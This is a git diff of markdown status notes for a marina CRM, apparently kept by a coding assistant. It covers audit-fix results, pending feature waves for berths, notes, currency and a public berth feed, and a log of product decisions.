## Bonus: document-detail polish (#67 partial)
|
||||
|
||||
Three of the six deliverables in MANUAL-TESTING-BACKLOG §4.10b shipped
|
||||
in this wave:
|
||||
|
||||
- **State-aware action button per signer** — `invitedAt === null` →
|
||||
primary "Send invitation" CTA (paper-plane); else "Send reminder"
|
||||
(bell). Hits the existing `/send-invitation` and `/remind` routes.
|
||||
- **Watcher Add UI** — replaces the user-id stub display with the
|
||||
display name from `/api/v1/admin/users/picker`, plus a "+ Add"
|
||||
select that lets admins pick any user in the port that isn't already
|
||||
watching. Existing delete affordance untouched.
|
||||
- **`cleanSignerName` cleanup** — shared from `SigningProgress` and
|
||||
applied to the doc-detail card so EMAIL_REDIRECT_TO `(was: …)` /
|
||||
`(placeholder)` suffixes stop leaking through.
|
||||
|
||||
The remaining three deliverables (full SigningProgress visual parity,
|
||||
linked-entity name resolution, activity-panel `document_events` polish
|
||||
with per-event icons + tooltips) need API changes to return entity
|
||||
names + a meaningful event-type icon map. Deferred so it can ship in
|
||||
one focused PR.
|
||||
|
||||
## Smoke validations against the running dev server
|
||||
|
||||
- **C-02** — `/setup` is reachable (middleware lets it through; page
|
||||
itself redirects to `/login` when `needsBootstrap=false`). No infinite
|
||||
redirect loop.
|
||||
- **M-R01** — `/portal/documents` without a portal_session cookie now
|
||||
redirects to `/portal/login?redirect=/portal/documents`.
|
||||
- **H-04** — sign-in 429 response carries `Retry-After: 900` plus the
|
||||
full `X-RateLimit-*` triplet.
|
||||
|
||||
## What still needs your input
|
||||
|
||||
Items genuinely blocked on a decision you haven't made yet. Most exist
|
||||
in the 2026-05-15 manual-testing-backlog already; surfacing here in one
|
||||
place for resolution.
|
||||
|
||||
1. **PDF template editor / builder (MANUAL-TESTING-BACKLOG §9.Z)** —
|
||||
ship Phase 1 alone (in-app fill of admin-uploaded PDFs with
|
||||
merge-token mapping, ~1–2 weeks) or wait until Phases 1+2 can land
|
||||
together (also Documenso template push, ~3–4 weeks)?
|
||||
2. **Document detail refactor (#67 in §4.10b)** — multi-deliverable
|
||||
redesign. Are we shipping it as one PR or splitting?
|
||||
3. **Reminders data model (§0.1 + §3.2)** — Path A (extend lightweight
|
||||
columns on `interests` — note/timeOfDay/priority/recurrence) or
|
||||
Path B (push richer reminders into the existing `reminders` table)?
|
||||
4. **Supplemental info form (§0.2)** — CRM-hosted route or
|
||||
marketing-site-hosted? Need a green light to spend ~15 minutes
|
||||
tracing the route end-to-end.
|
||||
5. **EOI-scoped data overrides (§4.2)** — does the override apply only
|
||||
to this specific EOI document, or to ALL future EOIs on this
|
||||
interest? Reopening the drawer: show original override or fall back
|
||||
to canonical? Are the overrides reusable for reservation + contract
|
||||
or EOI-only?
|
||||
6. **`/me/ports` port-context asymmetry (M-NEW-1)** — should the
|
||||
endpoint treat absent `X-Port-Id` as "list all ports the user has
|
||||
access to"? Currently super-admins work without it; everyone else
|
||||
gets a 400.
|
||||
7. **Bounce-to-interest IMAP linking (M-EM03 / Phase 7 §14.9)** —
|
||||
ready to scope or stays deferred?
|
||||
8. **Receipt-scanner per-port OCR config (M-IN03)** — every call site
|
||||
needs `portId` threading. Confirm we should do this now vs. when a
|
||||
second-port OCR config materialises?
|
||||
9. **CSV export of audit logs (M-AU03)** — net-new endpoint. Ship?
|
||||
10. **Documenso phases 2–7 (BACKLOG §A)** — still back-burnered or
|
||||
ready to pick up?
|
||||
|
||||
---
|
||||
|
||||
## Migrations to apply
|
||||
|
||||
`pnpm tsx scripts/db-migrate.ts` (or your usual migration runner) will
|
||||
pick up the single new migration `0070_h01_fk_on_delete.sql`. It's
|
||||
idempotent — each ALTER drops the constraint by name first, so re-runs
|
||||
are safe.
|
||||
|
||||
## Files touched this wave
|
||||
|
||||
`118 files changed, 5181 insertions(+), 1301 deletions(-)` — but note
|
||||
that count rolls in the previous session's 70 uncommitted files. Run
|
||||
`git diff --stat HEAD docs/AUDIT-FINDINGS-2026-05-15.md` to see only
|
||||
the audit-fix diff.
|
||||
@@ -1,716 +0,0 @@
|
||||
# Audit Follow-ups — 2026-05-08 visual audit
|
||||
|
||||
This is the single index for everything from the 2026-05-08 mobile visual
|
||||
audit. Owns: status of each item, file pointers, every open question,
|
||||
and a ready-to-paste prompt for resuming in a fresh session.
|
||||
|
||||
Items are grouped by **wave** (the original triage buckets, kept stable
|
||||
across sessions). Numbering inside each wave matches the original audit
|
||||
message order where possible.
|
||||
|
||||
> **If you only have time for one section, read § "Resuming in a fresh
|
||||
> session" at the bottom.**
|
||||
|
||||
---
|
||||
|
||||
## Quick status snapshot — 2026-05-09 (post-execution)
|
||||
|
||||
| Wave | Topic | Status |
|
||||
| --------- | ------------------------------------------ | ----------------------------------------------------------------------- |
|
||||
| 1 | Small confident fixes | ✅ Done |
|
||||
| 2 | Country dropdown unification + cmdk scroll | ✅ Done (country/nationality split still deferred — see Wave 11.E) |
|
||||
| 3 | Berth field overhaul (NocoDB enums) | ✅ Done |
|
||||
| 4 | Currency platform-wide | ✅ Done |
|
||||
| 5 | Configurable enums (admin Vocabularies) | ✅ Admin page + read endpoint shipped; consumer wiring is owed |
|
||||
| 6 | Notes unification (aggregate-on-read) | ✅ Done — yacht / company / residential aggregators + UI |
|
||||
| 7 | Clients / yachts / companies misc | ✅ Status-link flow done; client form expansion still large (Wave 11.A) |
|
||||
| 8 | Expenses revisit | ✅ Done — trip-label combobox (free text + past suggestions) |
|
||||
| 9 | Interests + notifications | ✅ Done |
|
||||
| 10 | Settings polish | ✅ Done — first/last name + collapse notif prefs |
|
||||
| 11.A | Manual client form expansion | 🔴 Not started (large) |
|
||||
| 11.B | Documents folders (unlimited nesting) | 🔴 Not started — needs deep design (sidebar tree + breadcrumb) |
|
||||
| 11.C | Reports system + templates | 🔴 Not started |
|
||||
| 11.D | Receipts inline in expense PDF | 🔴 Not started |
|
||||
| 11.E | Country / Nationality split on Client form | 🔴 Not started |
|
||||
| 11.F | Inquiry triage | 🔴 Deferred |
|
||||
| 11.G | Per-port email branding admin UI | 🔴 Deferred |
|
||||
| **Bonus** | **Public berth feed (website map)** | ✅ Parity fields shipped; cutover deferred (see runbook) |
|
||||
| **Bonus** | **Website cutover runbook** | ✅ Doc shipped (`docs/website-cutover-runbook.md`); execution deferred |
|
||||
| **Bonus** | **Berth Documents tab → Spec + Deal** | ✅ Done |
|
||||
|
||||
Test status: `pnpm exec vitest run` → **1187/1187 pass**.
|
||||
TS check: `pnpm exec tsc --noEmit` → **clean**.
|
||||
Git: 9 commits this session (Waves 4-10 + admin Vocabularies + status-change link + Berth Documents tab split + decisions log).
|
||||
|
||||
---
|
||||
|
||||
## Ground rules / invariants we picked up
|
||||
|
||||
- **Notes unification model**: aggregate-on-read (option 1 from the
|
||||
AskUserQuestion, picked by user). One canonical service per entity
|
||||
unions own-notes + related-entity notes; no replication, no schema
|
||||
migration.
|
||||
- **NocoDB MCP**: connected at `~/.claude.json` under
|
||||
`mcpServers."NocoDB Base - Port Nimara"`. Verified Berths schema +
|
||||
records pull cleanly. The seed-data JSON snapshot
|
||||
(`src/lib/db/seed-data/berths.json`) is also a reasonable fallback
|
||||
if the MCP is unavailable.
|
||||
- **Berth dropdown values** are now sourced from the NocoDB SingleSelect
|
||||
choices verbatim — see `src/lib/constants.ts` (look for
|
||||
`BERTH_*_OPTIONS` / `_TYPES`). Power Capacity and Voltage stay numeric
|
||||
inputs because NocoDB stores them as `Number`. Bow Facing is
|
||||
`SingleLineText` in NocoDB but constrained to the 4 cardinal values
|
||||
in the CRM dropdown for UX.
|
||||
- **Dual-unit fields** auto-cross-fill via `linkedUnit` on
|
||||
`EditableSpec` in `src/components/berths/berth-tabs.tsx`. The user
|
||||
edits the imperial value; the metric column is computed × 0.3048 and
|
||||
patched in the same request.
|
||||
- **Receipts in expense PDF**: user's clarified preference is "PDF
|
||||
images should show inline with the relevant expense" — i.e. images
|
||||
inline; PDF receipts also rendered inline (one page each, via
|
||||
pdfme + `pdf-lib.copyPages`).
|
||||
- **Configurable enums**: the existing pattern is `system_settings`
|
||||
with composite PK `(key, port_id)` and `<SettingsManager>` admin
|
||||
page. Use the same pattern for the new vocabularies.
|
||||
- **Turbopack dev**: `pnpm dev` runs `next dev --turbopack`. Cold
|
||||
compiles ~1s boot, ~3s per route. No webpack hooks in
|
||||
`next.config.ts` so flipping back is one line if needed.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Completed this session
|
||||
|
||||
### Wave 1 — small confident fixes
|
||||
|
||||
1. **Berth list ordering bug** — `\d+$` regex in the Drizzle SQL
|
||||
template was being eaten by JS string literal escape rules
|
||||
(`\d` → `d`). Fixed by switching to `[0-9]+$` POSIX class.
|
||||
File: `src/lib/services/berths.service.ts:69-72`.
|
||||
2. **Dashboard KPI grid removed** — "Total Clients / Active Interests
|
||||
/ Pipeline Value / Occupancy Rate" deleted. The four chart widgets
|
||||
below (pipeline funnel, occupancy timeline, revenue breakdown,
|
||||
lead source) and the activity feed remain.
|
||||
File: `src/components/dashboard/dashboard-shell.tsx`.
|
||||
3. **Per-dock color stripe on mobile berth cards** — was the _status_
|
||||
color, which made every same-dock berth different. Now uses
|
||||
`mooringLetterDot()` so the stripe groups by dock letter; status
|
||||
conveyed by the existing pill below.
|
||||
File: `src/components/berths/berth-card.tsx`.
|
||||
4. **`{Letter} Dock` chip** on the berth detail header replaces the
|
||||
bare "A" / "B" text. Colored by `mooringLetterDot()`.
|
||||
File: `src/components/berths/berth-detail-header.tsx`.
|
||||
5. **cmdk wheel-scroll bug** — Radix Popover swallowed wheel events on
|
||||
the country dropdown for macOS users. Added `onWheel` translator on
|
||||
`CommandList` + `overscroll-contain`. Lights up country pickers in
|
||||
Companies, Residential Clients, Clients, Yachts.
|
||||
File: `src/components/ui/command.tsx`.
|
||||
6. **Mobile "Columns" button hidden** — `ColumnPicker` is now
|
||||
`hidden sm:inline-flex`. Mobile renders cards (no columns to
|
||||
toggle).
|
||||
File: `src/components/shared/column-picker.tsx`.
|
||||
7. **Mobile kanban toggle hidden + auto-fallback** — Interest list
|
||||
hides the table-vs-kanban toggle on small viewports and snaps
|
||||
`viewMode` back to `'table'` if the user's persisted choice was
|
||||
`'board'`.
|
||||
File: `src/components/interests/interest-list.tsx`.
|
||||
8. **Inbox entry removed from mobile More-sheet** — email/IMAP feature
|
||||
is deferred (`sidebar.tsx` calls this out); the More-sheet entry was
|
||||
a dead link.
|
||||
9. **Website Analytics conditional** — desktop sidebar Insights section
|
||||
AND mobile MoreSheet hide the Website Analytics nav when Umami
|
||||
isn't configured for the port. Reuses `useUmamiActive()`.
|
||||
Files: `src/components/layout/sidebar.tsx`,
|
||||
`src/components/layout/mobile/more-sheet.tsx`.
|
||||
10. **"Other" comm-channel UX hint** — when a contact's channel is
|
||||
`'other'`, the inline `Label` field switches its label/placeholder
|
||||
to "Specify" / "e.g. Telegram, Signal".
|
||||
File: `src/components/clients/client-form.tsx:289-302`.
|
||||
11. **End Membership wording** — renamed to "Remove from company" in
|
||||
the company members tab dropdown.
|
||||
File: `src/components/companies/company-members-tab.tsx:249`.
|
||||
12. **Berth area filter → letter dropdown** — was free-text; now a
|
||||
`<Select>` constrained to `A / B / C / D / E`. Label changed to
|
||||
"Dock" to match how the user refers to it.
|
||||
File: `src/components/berths/berth-filters.tsx`.
|
||||
13. **Yacht flag → CountryCombobox** — was a free-text 2-letter input
|
||||
(`placeholder="e.g. MT"`); now uses the same country picker as
|
||||
client / residential.
|
||||
File: `src/components/yachts/yacht-form.tsx`.
|
||||
|
||||
### Wave 2 — country dropdown unification
|
||||
|
||||
1. **cmdk wheel-scroll** — covered in Wave 1 (single shared command).
|
||||
2. **Country → timezone auto-set** in client form: when nationality is
|
||||
picked and timezone empty, the primary IANA zone is pre-filled. Skips
|
||||
when the user already chose a zone explicitly.
|
||||
File: `src/components/clients/client-form.tsx` (look for
|
||||
`primaryTimezoneFor`).
|
||||
3. **Browser-detected timezone fallback** in user settings: timezone
|
||||
pre-populates from `Intl.DateTimeFormat().resolvedOptions().timeZone`
|
||||
on first load (was empty before).
|
||||
File: `src/components/settings/user-settings.tsx`.
|
||||
4. **Country → timezone auto-fill** also fires in user settings when
|
||||
the country changes with no zone set.
|
||||
5. **Dropdown widths match trigger** — `CountryCombobox` and
|
||||
`TimezoneCombobox` popover content set to
|
||||
`w-[var(--radix-popper-anchor-width)]` with sensible `min-w-*`
|
||||
floors so wide triggers get wide popovers.
|
||||
6. **DEFERRED: country/nationality split** on the client form — needs
|
||||
a Drizzle migration (`alter table clients add column country_iso
|
||||
text`) plus a copy-on-migrate of existing `nationality_iso` values.
|
||||
See § Wave 11 / pending — large.
|
||||
|
||||
### Wave 3 — berth field overhaul (NocoDB enums)
|
||||
|
||||
1. **Live NocoDB pull via MCP** — confirmed canonical SingleSelect
|
||||
choices for: Side Pontoon (10 values), Mooring Type (5),
|
||||
Cleat Type (2), Cleat Capacity (2), Bollard Type (2),
|
||||
Bollard Capacity (2), Access (5), Area (A–E). Power Capacity and
|
||||
Voltage are `Number` fields (not enums). Bow Facing is
|
||||
`SingleLineText` (we still use a 4-value dropdown for UX).
|
||||
2. **`BERTH_BOW_FACING_OPTIONS`** added to `src/lib/constants.ts`
|
||||
alongside the existing `BERTH_*_OPTIONS` constants.
|
||||
3. **`toSelectOptions()` helper** added to `src/lib/constants.ts` for
|
||||
mapping readonly tuples → shadcn `<Select>` `{value,label}` objects.
|
||||
4. **All berth dropdown fields → `<Select>`** in both the modal form
|
||||
(`berth-form.tsx`) and the inline-edit detail tabs
|
||||
(`berth-tabs.tsx`). Bow facing / side pontoon / mooring type /
|
||||
access / cleat type / cleat capacity / bollard type / bollard
|
||||
capacity / area / tenure type.
|
||||
5. **Inline-edit `EditableSpec`** in `berth-tabs.tsx` now supports
|
||||
`selectOptions: readonly string[]` to render a `<Select>` variant.
|
||||
6. **Dimensional auto-conversion** — `EditableSpec` gained a
|
||||
`linkedUnit: { field, multiplier }` prop. Saving the imperial value
|
||||
also patches the metric column (× 0.3048). Applied to length, width,
|
||||
draft, nominal boat size, water depth.
|
||||
7. **Nominal boat size editable** — was read-only `<SpecRow>`; now an
|
||||
`<EditableSpec numeric linkedUnit>` so editing ft auto-fills m.
|
||||
8. **Tenure type editable** — was read-only; now an inline-edit Select
|
||||
bound to the validator's `'permanent' | 'fixed_term'` set. Will be
|
||||
replaced by the per-port configurable list once Wave 5 ships.
|
||||
|
||||
### Wave 9 — interests + notifications
|
||||
|
||||
1. **StageLegend popover** — small "Legend" button in the interest
|
||||
list filter row decodes the colored stripes on each card to the
|
||||
pipeline stage name. Stays in sync with `STAGE_DOT` automatically.
|
||||
File: `src/components/interests/stage-legend.tsx`.
|
||||
2. **Mobile kanban hidden** — see Wave 1.
|
||||
3. **Notifications nav 404 fixed** — More-sheet entry pointed at
|
||||
`/notifications` which had no `page.tsx`. Now points at
|
||||
`/notifications/preferences` and is labeled "Notification
|
||||
preferences" — real notifications come via the topbar bell.
|
||||
File: `src/components/layout/mobile/more-sheet.tsx`.
|
||||
|
||||
### Wave 10 — settings polish
|
||||
|
||||
1. **Phone input upgraded** — user settings now uses the existing
|
||||
shared `<PhoneInput>` (country flag dropdown + AsYouType formatter)
|
||||
instead of a plain `<Input type="tel">`. Country state from the
|
||||
page seeds the dropdown.
|
||||
File: `src/components/settings/user-settings.tsx`.
|
||||
2. **Timezone auto-detect** — covered in Wave 2.
|
||||
3. **Dropdown widths match trigger** — covered in Wave 2.
|
||||
|
||||
### Bonus — public berth feed wired to replace NocoDB as source of truth
|
||||
|
||||
Triggered by user prompt "ensure we are properly wired up to replace
|
||||
the NocoDB table as the source of truth for the berth map".
|
||||
|
||||
**State before audit:**
|
||||
|
||||
- API endpoints existed (`/api/public/berths`,
|
||||
`/api/public/berths/[mooringNumber]`) — wiring fine.
|
||||
- `src/lib/services/public-berths.ts` mapped the response shape to
|
||||
NocoDB-verbatim keys.
|
||||
- Tests passed (`tests/unit/services/public-berths.test.ts`).
|
||||
- **Map data was empty: 0 rows in `berth_map_data` against 234 berths
|
||||
total (117 per port).** Without polygons the website map literally
|
||||
has no shapes to render.
|
||||
|
||||
**Action taken:**
|
||||
|
||||
- Ran `pnpm tsx scripts/import-berths-from-nocodb.ts --apply
|
||||
--port-slug port-nimara` (after a clean dry-run). Result:
|
||||
117 berths updated, 117 `berth_map_data` rows inserted.
|
||||
- Spot-checked the public API: `GET /api/public/berths` returns the
|
||||
correct shape with `Map Data` populated, byte-for-byte identical
|
||||
to NocoDB for berth A1 (`path`, `x`, `y`, `transform`, `fontSize`).
|
||||
|
||||
**Field-parity gaps still present** (see Wave Bonus pending below).
|
||||
|
||||
### Misc UI polish
|
||||
|
||||
- **Berth Documents tab explainer** — added a one-paragraph header
|
||||
explaining it's the spec PDF, not deal documents (with a pointer
|
||||
to the Interests tab for prospect-linked docs).
|
||||
File: `src/components/berths/berth-documents-tab.tsx`.
|
||||
|
||||
---
|
||||
|
||||
## 🟡 Pending — medium
|
||||
|
||||
### Wave 4: currency formatting platform-wide
|
||||
|
||||
- Build `<CurrencyInput>` shared component (formatted display, raw
|
||||
number value). Replace raw `<Input type="number">` price spots in:
|
||||
`berth-form.tsx` (price), `expense-form-dialog.tsx` (amount),
|
||||
`invoices.tsx` (totals), client deal amounts on dossier / invoice.
|
||||
- Currency selector dropdown on expense form (NocoDB has no expense
|
||||
currency field, so source from a curated supported-currency list:
|
||||
USD / EUR / GBP / CAD / AUD / CHF / JPY / …). Replace the free-text
|
||||
3-letter input.
|
||||
- Sweep for `${currency} ${amount}` string concatenations and replace
|
||||
with `Intl.NumberFormat`.
|
||||
|
||||
### Wave 5: configurable enum infrastructure
|
||||
|
||||
We have a `system_settings` table with composite PK `(key, port_id)`
|
||||
and an `<SettingsManager>` admin page. Add a "Vocabularies" admin tab
|
||||
that exposes per-port vocabularies. Suggested keys grouped by domain:
|
||||
|
||||
- `interest_temperature_levels` — replaces the hardcoded "HOT" badge.
|
||||
Pill is rendered in `src/components/interests/interest-card.tsx`.
|
||||
- `berth_status_change_reasons` — list shown as quick-pick chips in
|
||||
`<StatusChangeDialog>` (see `berth-detail-header.tsx`). Tied to the
|
||||
prospect-picker concept (see Wave 7 below).
|
||||
- `berth_tenure_types` — replaces the static
|
||||
`'permanent' | 'fixed_term'` validator union. Berths column is
|
||||
`text`, so any value can land at the DB layer.
|
||||
- `expense_categories` — current hardcoded list at
|
||||
`src/lib/constants.ts:EXPENSE_CATEGORIES`.
|
||||
- `document_types` — current hardcoded list at
|
||||
`src/lib/constants.ts:DOCUMENT_TYPES`.
|
||||
- `interest_outcome_statuses` — already exist in schema enum, could
|
||||
be overridable.
|
||||
- `berth_side_pontoon_options` / `berth_cleat_types` /
|
||||
`berth_bollard_types` / `berth_access_options` — currently
|
||||
hardcoded to NocoDB values. Worth making editable once a non-Port-
|
||||
Nimara port appears with different infrastructure.
|
||||
|
||||
**Open question (#1)**: see § Open Questions.
|
||||
|
||||
### Wave 6: notes unification — aggregate-on-read
|
||||
|
||||
User chose option 1 ("aggregate on read") from the brainstorm. The
|
||||
`listForClientAggregated` pattern in `notes.service.ts` (lines
|
||||
130–242) already unions a client's notes + interest notes + owned
|
||||
yacht notes into a single feed with `source` metadata.
|
||||
|
||||
Symmetric extensions to add:
|
||||
|
||||
- `listForYachtAggregated` — yacht own notes + owner client notes
|
||||
- linked interest notes.
|
||||
- `listForCompanyAggregated` — company own notes + owned yacht notes
|
||||
- linked interest notes.
|
||||
- `listForResidentialClientAggregated` — residential client notes
|
||||
- residential interest notes.
|
||||
|
||||
UI:
|
||||
|
||||
- `<NotesList entityType="…">` should render the source-label badge
|
||||
(already implemented for clients — copy the pattern).
|
||||
- Convert single-textarea spots to entry-list pattern: the
|
||||
Companies overview tab has a `notes` textarea (from
|
||||
`companies.notes` text column) AND a Notes tab with the threaded
|
||||
`companyNotes` table. Drop the textarea in favor of the threaded
|
||||
feed only. Same for residential interests.
|
||||
- Note for the schema fix-it list: `companyNotes` is missing
|
||||
`updatedAt`. Service substitutes `createdAt` to keep the read shape
|
||||
uniform — see `notes.service.ts:566`. Fix when convenient.
|
||||
|
||||
### Wave 7: clients / yachts / companies misc
|
||||
|
||||
Done in this session:
|
||||
|
||||
- **Yacht flag** → CountryCombobox (Wave 1).
|
||||
- **End Membership** → "Remove from company" (Wave 1).
|
||||
- **Berth Documents tab** explainer paragraph.
|
||||
|
||||
Pending:
|
||||
|
||||
- **Status change modal — prospect picker**: when user changes berth
|
||||
status to `under_offer` or `sold`, surface an interest/prospect
|
||||
selector below the reason dropdown so the recorded reason can link
|
||||
to a known deal. Tie into `interest_berths` so the link is
|
||||
bidirectional. Depends on Wave 5
|
||||
(`berth_status_change_reasons` vocabulary).
|
||||
- **Documents tagged with company** show up in main `/documents` view
|
||||
with company tag — verify after the documents overhaul (Wave 11.B).
|
||||
|
||||
### Wave 9 follow-up
|
||||
|
||||
- **HOT/WARM/COLD admin-config** — covered by Wave 5
|
||||
(`interest_temperature_levels`).
|
||||
- **Color-codes legend**: shipped as a popover. Optional polish: add
|
||||
a one-time tooltip on first pageload so users discover it.
|
||||
|
||||
### Wave 10 follow-up
|
||||
|
||||
- **Photo upload picker bug**: Playwright captured a `[File chooser]`
|
||||
modal when clicking "Upload photo," so the wiring works in headless
|
||||
Chromium. User reported "doesn't open" on macOS — possibly a focus
|
||||
/ window issue or a content-blocking extension. Need a real-machine
|
||||
repro to diagnose. The hidden `<input type="file" ref={fileInputRef}>`
|
||||
- `fileInputRef.current?.click()` wiring is at
|
||||
`user-settings.tsx:247-258`.
|
||||
- **Display name + first / last name fields** — current schema only
|
||||
has `displayName`. Adding first/last requires a Drizzle migration on
|
||||
`users` or `user_profiles` plus migration of existing data (split
|
||||
on first space). **Open question (#3)**: see § Open Questions.
|
||||
- **Notification preferences placement** — settings vs notifications
|
||||
page. Today notification toggles live on the user-settings page; a
|
||||
dedicated `/notifications/preferences` page also exists. **Open
|
||||
question (#2)**: see § Open Questions.
|
||||
|
||||
### Wave Bonus follow-up — public berth feed field parity
|
||||
|
||||
Map data is now wired. Field gaps the website _might_ consume but we
|
||||
don't expose:
|
||||
|
||||
| NocoDB field | Currently in PublicBerth? | DB has it? | Notes |
|
||||
| ---------------------------- | ------------------------- | ---------------------------------- | ----------------------------------------------------------- |
|
||||
| `Price` | ❌ | ✅ `berths.price` | Pricing-public is a policy decision. **Open question (#4)** |
|
||||
| `Berth Approved` | ❌ | ✅ `berths.berth_approved` | Boolean. Often used to gate "Sold" display |
|
||||
| `Water Depth` | ❌ | ✅ `berths.water_depth` | Sometimes shown in tooltip |
|
||||
| `Width Is Minimum` | ❌ | ✅ `berths.width_is_minimum` | Modifier for "Width" display |
|
||||
| `Water Depth Is Minimum` | ❌ | ✅ `berths.water_depth_is_minimum` | ditto |
|
||||
| `Length (Metric)` | ❌ | ✅ `berths.length_m` | Derivable. Website may consume |
|
||||
| `Width (Metric)` | ❌ | ✅ `berths.width_m` | ditto |
|
||||
| `Draft (Metric)` | ❌ | ✅ `berths.draft_m` | ditto |
|
||||
| `Water Depth (Metric)` | ❌ | ✅ `berths.water_depth_m` | ditto |
|
||||
| `Nominal Boat Size (Metric)` | ❌ | ✅ `berths.nominal_boat_size_m` | ditto |
|
||||
| `CreatedAt` / `UpdatedAt` | ❌ | ✅ timestamps | Cache invalidation hints |
|
||||
| `Interests` (count) | ❌ | derivable | Probably internal-only |
|
||||
| `Interested Parties` (count) | ❌ | derivable | Probably internal-only |
|
||||
|
||||
**Plan once questions are answered:** Add the chosen fields to
|
||||
`PublicBerth` interface in `src/lib/services/public-berths.ts`, the
|
||||
`toPublicBerth()` mapper, and the test fixtures. Trivial; gated only
|
||||
by which fields the website actually uses.
|
||||
|
||||
**Other public-feed concerns to flag**:
|
||||
|
||||
- **No archive flag**: when a berth is retired the public feed will
|
||||
still serve it. Need a `berths.archived_at` column + filter on the
|
||||
route. Plan §4.5 hinted at this. Not urgent.
|
||||
- **CRM-edit drift vs re-imports**: now that reps can edit berth
|
||||
fields (Wave 3), running the import script will skip-edited those
|
||||
rows (`updated_at > last_imported_at`) — that's the right design,
|
||||
but it means once cutover happens the website **must** call CRM
|
||||
`/api/public/berths`, never NocoDB. Coordinate this in the website
|
||||
repo. Useful guard already exists: `/api/public/health`.
|
||||
- **Cache TTL: 5 min**: when a CRM rep marks a berth `sold`, the
|
||||
public website serves "Available" for up to 5 minutes due to
|
||||
`s-maxage=300`. Acceptable for marketing; bump if needed.
|
||||
- **Health endpoint shape**: `/api/public/health` currently returns
|
||||
`{status, timestamp}` but `CLAUDE.md` claims `{env, appUrl}`. One
|
||||
of them is stale; the website may expect either shape. Not blocking
|
||||
but worth aligning.
|
||||
|
||||
---
|
||||
|
||||
## 🔴 Pending — large (group-discussion items, Wave 11)
|
||||
|
||||
### A. Manual client form expansion
|
||||
|
||||
User wants "New Client" to support assigning yachts / companies /
|
||||
berths inline (without leaving the form), plus a mini-recommender for
|
||||
picking a berth at create time.
|
||||
|
||||
Scope:
|
||||
|
||||
- "Existing yacht / new yacht" picker.
|
||||
- "Existing company / new company" picker.
|
||||
- "Open an interest with this client" affordance that wires through
|
||||
`interest_berths` and the recommender.
|
||||
- Make sure all standard client modal fields (nationality / source /
|
||||
preferred contact / timezone / tags) remain present.
|
||||
|
||||
Multi-component composition with a lot of cross-entity plumbing.
|
||||
Estimate fully before starting (likely 2–3 days).
|
||||
|
||||
### B. Documents section overhaul
|
||||
|
||||
User wants:
|
||||
|
||||
- Folders (create / delete / nested).
|
||||
- Sort + filter (by date, type, owner).
|
||||
- Wider file-type allowlist (PDF + Office + image is current; expand).
|
||||
- "Documents in progress" filter (contracts / EOIs awaiting signature,
|
||||
things uploaded but unparsed).
|
||||
- Drop or rename the "Signature-based only" pill — confusing copy.
|
||||
- "Expired" tab admin-configurable visibility.
|
||||
- Type-filter dropdown reflects actual types in use (vs the full
|
||||
hardcoded list).
|
||||
|
||||
Refactor of `documents.service.ts` plus a new folders schema
|
||||
(`document_folders` table with port-scoped tree).
|
||||
|
||||
### C. Reports system
|
||||
|
||||
User asked for:
|
||||
|
||||
- Defined report types (Pipeline summary / Revenue / Activity log /
|
||||
Berth occupancy) with documented data shape per type.
|
||||
- Test fixtures for visual QA.
|
||||
- Admin "report templates" with field-level checkboxes letting an
|
||||
admin compose a custom report shape (toggles for each available
|
||||
data field).
|
||||
|
||||
Infra exists (`/api/v1/reports`) but templates are stubs. A proper
|
||||
templating system + per-template field selection adds a few days.
|
||||
|
||||
### D. Receipts inline in expense PDF
|
||||
|
||||
User confirmed: image receipts render inline beneath each expense row,
|
||||
**and** PDF receipts also render inline (one page each). pdfme
|
||||
(already used for EOI) handles both — inline images via the renderer,
|
||||
PDF pages via `pdf-lib.copyPages`. Depends on Wave 8 expense form work.
|
||||
|
||||
### E. Country / Nationality split on Client form
|
||||
|
||||
Client schema has only `nationalityIso`. User wants:
|
||||
|
||||
- New `country_iso` column for _country of residence_ (visible
|
||||
/ primary).
|
||||
- Keep `nationality_iso` as an _optional_ secondary field.
|
||||
|
||||
Requires:
|
||||
|
||||
- Drizzle migration (`alter table clients add column country_iso text`).
|
||||
- Migrate existing data: copy `nationality_iso → country_iso` for
|
||||
every client (current value is more often country of residence in
|
||||
practice).
|
||||
- Update API validators (`clients.ts`).
|
||||
- Update client form UI: primary "Country" CountryCombobox, secondary
|
||||
collapsible "Nationality" row.
|
||||
- Same for residential clients (parallel schema).
|
||||
|
||||
### F. Inquiry triage (legacy spec carryover)
|
||||
|
||||
Per project memory and the "deferred" list at the top of
|
||||
`today-2026-05-08.md`: inquiry triage was explicitly deferred. Tied
|
||||
into the inquiry routing settings (`inquiry_notification_recipients`,
|
||||
`inquiry_contact_email`, `residential_notification_recipients` —
|
||||
already in `system_settings`). Pick this back up when ready to
|
||||
auto-classify website inquiries.
|
||||
|
||||
### G. Per-port email branding
|
||||
|
||||
Also in the deferred list. Templates and settings keys exist
|
||||
(per memory note); the admin UI for editing per-port email branding
|
||||
overrides remains.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Decisions log — 2026-05-09
|
||||
|
||||
All 11 open questions answered. Implementation implications inline.
|
||||
|
||||
1. **Vocabularies admin layout (Wave 5)** → **New `/admin/vocabularies`
|
||||
page, grouped by domain, admin-only.** User considered exposing to
|
||||
non-admins (since reps use them daily) but settled on admin-only as
|
||||
the safer default for now. Implementation: new top-level admin
|
||||
route + page, reuse `system_settings` `(key, port_id)` composite
|
||||
PK. Each vocabulary key gets its own card section (interest temps,
|
||||
status-change reasons, tenure types, expense categories, document
|
||||
types, etc.).
|
||||
2. **Notification preferences placement (Wave 10)** → **Collapse to
|
||||
user-settings only.** Keep `/notifications/preferences` as a
|
||||
server-side redirect to the user-settings notifications panel for
|
||||
back-compat links.
|
||||
3. **Display name vs first/last (Wave 10)** → **Add `first_name` and
|
||||
`last_name` columns.** Don't worry about migrations during dev (we
|
||||
can iterate freely), but write the migration carefully so it
|
||||
applies cleanly when we eventually deploy. Keep `display_name` as
|
||||
a derived/optional override.
|
||||
4. **Public-feed `Price` exposure (Bonus)** → **No — keep Price
|
||||
internal.** Don't add to PublicBerth payload.
|
||||
5. **Public-feed remaining fields (Bonus)** → **Yes, add all.** Add
|
||||
Berth Approved, Water Depth, Width Is Minimum, Water Depth Is
|
||||
Minimum, all four metric variants, plus CreatedAt/UpdatedAt to
|
||||
PublicBerth + mapper + tests. User noted "not sure if we'll use
|
||||
all of them but best to keep them in" — verbatim NocoDB parity.
|
||||
6. **Website cutover plan (Bonus)** → **Double-write transition
|
||||
window.** Keep both feeds live, write to both for the transition
|
||||
period, then decommission NocoDB. Coordinate with website repo
|
||||
(`CRM_PUBLIC_URL`).
|
||||
